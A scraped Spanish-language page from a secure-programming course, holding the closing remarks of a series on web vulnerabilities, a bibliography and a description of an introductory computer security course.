Entre los contenidos de expuestos en este material, éste es probablemente el más fácil de
entender. Nos enseña vulnerabilidades que pueden ser explotadas cada día en la web. Hay
muchas otras, frecuentemente relacionadas con mala programación (por ejemplo, un script que
envía correo electrónico, que coge como argumento el campo From:, proporciona un buen
lugar para enviar spam (correo no deseado). Los ejemplos son muy numerosos. En seguida que
hay un script en un sitio web, habrá como mínimo una persona que intentará usarlo de forma
fraudulenta.
Este artículo termina la serie sobre programación segura. Esperamos haberte mostrado los
principales agujeros de seguridad presentes en muchas aplicaciones y que a partir de ahora
tengas en cuenta el factor "seguridad" cuando diseñes y programes tus aplicaciones. Los
problemas de seguridad son muchas veces olvidados debido al limitado propósito de la
aplicación (uso interno, uso en una red privada, modelo temporal, etc.). Sin embargo, un
módulo originariamente diseñado para un uso muy restringido puede convertirse en la base de
una aplicación mucho mayor, y luego los cambios serán más caros.
fuentes:
http://linuxfocus.vlsm.org/Castellano/indexpage.html LinuxFocus
Administración avanzada de GNU/Linux Josep Jorba Esteve Remo Suppi Boldrito
Software libre XP04/90785/00019 UOC La universidad virtual
Lucas. Comunidad Linux de México , 2003. http://lucas.linux.org.mx
Red Hat 9 Security Guide , 2003.
http://www.redhat.com/docs/manuals/linux/RHL-9-
Manual/security-guide/
http://www.criptored.upm.es/guiateoria/gt_m001a.htm Libro Electrónico de Seguridad Informática y
Criptografía Versión v 4.0
http://www.uv.es/~sto/charlas/SDA/ Seguridad en el desarrollo de aplicaciones
Sue Berg et al.
Glossary of Computer Security Terms.
Technical Report NCSC-TG-004, National Computer Security Center, Octubre 1988.
Bac86
Maurice J. Bach.
The Design of the Unix Operating System.
Prentice Hall, 1986.
Bai97
Edward C. Bailey.
Maximum RPM: Taking the Red Hat Package Manager to the limit.
Red Hat Software, Inc., 1997
........................
El programa de Introducción a la seguridad informática pretende proporcionar una visión
general y completa de una disciplina tan compleja y multidisciplinar como la seguridad
informática, a partir de la cual el estudiante puede profundizar en las áreas más próximas a su
interés. Este curso pretende, en términos generales, describir la seguridad informática
básicamente con relación a tres entornos distintos íntimamente vinculados: la seguridad del
entorno, la seguridad de la red y la seguridad del sistema operativo. Asimismo, estos
contenidos de carácter técnico se vincularán con la gestión de la seguridad y los aspectos
legales, en continua evolución, relacionados con el uso de las nuevas tecnologías y los
problemas suscitados por ellas. Además de una vertiente claramente teórica, el enfoque
práctico hacia la seguridad informática también aparece en este curso mediante ejercicios de
autoevaluación que permitirán al estudiante comprobar el grado de aprovechamiento del curso.
Seguridad siempre fue de lo más importante para los administradores de sistemas. Sin
embargo, con la "explosión" del Internet, el riesgo de intrusión se ha vuelto aún más alto.
Según la estadística, si el número de usuarios conectados crece, el número de piratas sigue el
mismo incremento. Por consecuencia, el desarrollo de software de seguridad ha crecido
exponencialmente. Otra vez, gracias a la comunidad del software libre, puesto que nos han
proporcionado las mejores herramientas nunca vistas y con mucha documentación
Descargar